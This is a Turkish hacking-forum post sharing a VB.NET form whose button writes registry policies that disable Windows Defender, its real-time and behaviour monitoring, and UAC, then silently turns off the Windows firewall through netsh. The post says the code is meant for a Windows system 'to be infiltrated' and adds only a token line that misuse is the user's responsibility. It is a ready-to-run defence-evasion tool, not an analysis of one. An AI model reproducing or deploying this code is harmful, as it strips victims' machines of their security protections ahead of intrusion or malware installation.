VB.NET UAC Güvenlik Duvarı Defender Kapatma (1 kişi)

Çirkin KraL

Admin
Destek Ekibi
Kurumsal Üye
Site Kurucu
Repo Ekibi
Apple Expert
Katılım
9 Eki 2019
Mesajlar
769
Tepkime puanı
1,612
Puanları
353
Yaş
32
Konum
samsun
Web sitesi
www.trappledestek.com
1 adet button ekliyoruz

Sızılacak Windows systemde UAC Güvenlik Duvarı Defender Regedit Üzerinden Kapatma bilgilendirmedir kötüye kullanımdan kullanıcı sorumludur.

Kod:
Imports Microsoft.Win32
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        My.Computer.Registry.LocalMachine.CreateSubKey("SOFTWARE\Policies\Microsoft\Windows Defender\", RegistryKeyPermissionCheck.Default).SetValue("DisableAntiSpyware", "00000001", RegistryValueKind.DWord)


        My.Computer.Registry.LocalMachine.CreateSubKey("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableBehaviorMonitoring", "00000001", RegistryValueKind.QWord)

        My.Computer.Registry.LocalMachine.CreateSubKey("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableOnAccessProtection", "00000001", RegistryValueKind.QWord)

        My.Computer.Registry.LocalMachine.CreateSubKey("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableScanOnRealtimeEnable", "00000001", RegistryValueKind.QWord)


        My.Computer.Registry.LocalMachine.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", RegistryKeyPermissionCheck.Default).SetValue("EnableLUA", "00000000", RegistryValueKind.QWord)

        Dim proc As Process = New Process
        Dim top As String = "netsh.exe"
        proc.StartInfo.Arguments = "firewall set opmode disable"
        proc.StartInfo.FileName = top
        proc.StartInfo.UseShellExecute = False
        proc.StartInfo.RedirectStandardOutput = True
        proc.StartInfo.CreateNoWindow = True
        proc.Start()
        proc.WaitForExit()
    End Sub
End Class


7320
 

Bu konuyu okuyanlar konu

Üst